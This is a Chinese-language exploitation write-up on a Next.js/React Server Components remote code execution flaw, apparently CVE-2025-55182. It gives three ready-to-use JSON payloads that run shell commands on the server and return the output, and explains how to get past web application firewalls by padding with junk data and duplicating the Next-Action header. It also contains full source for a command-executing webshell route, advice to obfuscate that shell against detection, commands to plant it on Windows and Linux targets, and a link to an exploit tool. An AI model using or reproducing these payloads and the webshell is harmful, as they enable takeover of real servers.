漏洞刚出来，就有反转反转，最终经过测试，总结了一些利用方式
环境搭建
npm create next-app@16.0.6 react -y
npm run dev
常规payload利用
经过参考网上的payload，我在实际利用过程中进行了一些细微的改造，让它利用起来更加舒服。
注：lc.com为本地hosts映射的本地IP，非公网服务器，请勿随意对公网服务器进行攻击
payload-1 execSync同步执行
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
常规payload，回显在响应头部
这种payload比较清晰明了，但是如果执行的命令是返回多行的，就不凑效了，因为不能给响应头的值设置成多行的，可以将多行命令拼接成一行，不过构造命令挺麻烦的，于是就有了payload2
payload-2 execSync同步执行
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
将返回内容进行base64解码得到多行结果
为了方便输入复杂的命令，这里把输入的命令也进行base64编码进行传输，这里测试callback的代码，也可以完美执行。
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync(Buffer.from('【base64编码的命令】','base64').toString()).toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
但是像这种耗时命令会因为同步执行被阻塞住，这类命令后台都是返回500的，如果是执行反弹shell，这种可能会直接卡住。
我这里执行ping 127.0.0.1 -t让他阻塞住，我现在后面发送的请求都不会有响应，因为被阻塞住了
因此又有了payload-3
payload-3 exec异步执行
exec可以不阻塞执行命令，即使ping 127.0.0.1 -t，也能继续执行后续操作，但是也有个弊端，无法直接返回执行结果，因此可以搭配callback网站使用，请求会立即返回一个对象，命令执行结果返回到callback里面
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').exec(Buffer.from('【base64编码命令】','base64').toString()).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
waf绕过
实际测试过程中，我遇到过一些waf，目前遇到的，我只要两个方法就能直接绕过。
注：下面测试的站点不存在此漏洞，只为演示绕过waf
首先第一个位置绕过，正常发送直接被拦了
删内容，找到关键拦截点，经过测试，第一个点是在这个payload位置
这个位置常规使用脏数据可以绕过大部分的waf了
然后第二处就是关键头部，Next-Action是必须要的，如果没有这个头部，将无法执行命令
但是只要有这个头部，就直接被拦住了，很明显waf专门针对这个漏洞进行了规则配置
我尝试了脏数据，添加一堆头部，加到装不下了，也绕过不了
最后经过尝试，只需要重复Next-Action就行了，猜测应是读取头部指定键时，如果存在多个指定键，会报错，或者waf判断的是这个键的数量是不是1
且双写头部，是可以正常执行命令的
写马踩坑
写木马也有坑点，无论是写linux的还是windows的
写木马最好是用base64编码来写，这样子可以减少需要转义的字符
shell代码如下：
import { NextResponse } from 'next/server';
import { exec } from 'child_process';
// GET 请求处理（仅从URL参数获取参数）
export async function GET(request) {
return new Promise((resolve) => {
try {
// 从URL参数获取demo和b64参数
const { searchParams } = new URL(request.url);
const demo = searchParams.get('demo');
const b64 = searchParams.get('b64'); // 获取b64参数，判断是否解码
// 校验demo参数是否存在
if (!demo) {
resolve(NextResponse.json(
{ error: '缺少demo参数' },
{ status: 400 }
));
return;
}
// 根据b64参数判断是否解码：b64=1时解码，否则直接使用原始内容
const command = b64 === '1'
? Buffer.from(demo, 'base64').toString('utf-8')
: demo;
// 执行命令
exec(command, (error, stdout, stderr) => {
if (error) {
console.error('执行错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
return;
}
const result = (stdout || stderr).toString().trim();
resolve(new NextResponse(result, {
status: 200,
headers: {
'Content-Type': 'text/plain; charset=utf-8',
},
}));
});
} catch (error) {
console.error('参数处理错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
}
});
}
// POST 请求处理（支持URL参数 + FormData格式body）
export async function POST(request) {
return new Promise(async (resolve) => {
try {
// 1. 优先从URL参数获取demo和b64参数
const { searchParams } = new URL(request.url);
let demo = searchParams.get('demo');
let b64 = searchParams.get('b64');
// 2. URL参数不存在时，从FormData格式的body获取
if (!demo) {
const formData = await request.formData();
demo = formData.get('demo');
// 同时从body获取b64参数（兼容body传b64的场景）
if (!b64) b64 = formData.get('b64');
}
// 3. 校验demo参数是否存在
if (!demo) {
resolve(NextResponse.json(
{ error: '缺少demo参数' },
{ status: 400 }
));
return;
}
// 根据b64参数判断是否解码：b64=1时解码，否则直接使用原始内容
const command = b64 === '1'
? Buffer.from(demo, 'base64').toString('utf-8')
: demo;
// 执行命令
exec(command, (error, stdout, stderr) => {
if (error) {
console.error('执行错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
return;
}
const result = (stdout || stderr).toString().trim();
resolve(new NextResponse(result, {
status: 200,
headers: {
'Content-Type': 'text/plain; charset=utf-8',
},
}));
});
} catch (error) {
console.error('参数处理错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
}
});
}
首先对shell文件进行压缩混淆，增加被发现难度，我用JavaScript/Html在线格式化-Js/Html压缩-Js加密压缩工具，先压缩后混淆
windows
使用命令写入，先从windows开始踩坑，需要执行的命令如下：
mkdir E:\漏洞测试环境\create-next-app\app\api\shell && echo [压缩后的代码] > E:\漏洞测试环境\create-next-app\app\api\shell\route.js
这个命令是发送到服务器执行的代码，99%是会报错的，因为压缩后的代码依旧存在大量cmd已经定义的符号。&、>、<等，需要统一替换代码中的这些特殊符号，在前面加一个 ^进行转义才能真正写入
未转移在cmd执行会因为各种符号报错，我示例这里直接echo输出shell代码
转义后再次执行，这次没报错了
linux
linux因为可以使用EOF，轻松多了，但是如果你使用base64编码后的命令，可能会出现你写入的文件名不对的问题
mkdir -p /home/lc/Public/bugtest/react/app/api/shell && cat << 'EOF' > /home/lc/Public/bugtest/react/app/api/shell/route.js
[shell代码]
EOF
这里乍一看都是一样的文件名，其中一个是我通过漏洞写入的，但是怎么会有一样的文件名呢？
切管理员上帝视角看一下，很明显看到第二个我用漏洞写入的文件后面是有特殊符号的
其实是因为window和linux换行符的原因，windown用的CRLF，linux是LF，所以因为换行符不一致导致编码后多出不可见符号，解决方法很简单，如图，把输入字符串改成LF，然后把文件名后面的CR删掉就可以了（代码的CR删不删都行，不影响）
最终效果：
这里我把传参由demo改成了minl，
也可以base64编码命令
工具分享
文中我用到的工具我也上传了github，自己写的，不是专业开发，可能会有小bug，遇到欢迎提
https://github.com/LC-pro/CVE-2025-55182-EXP
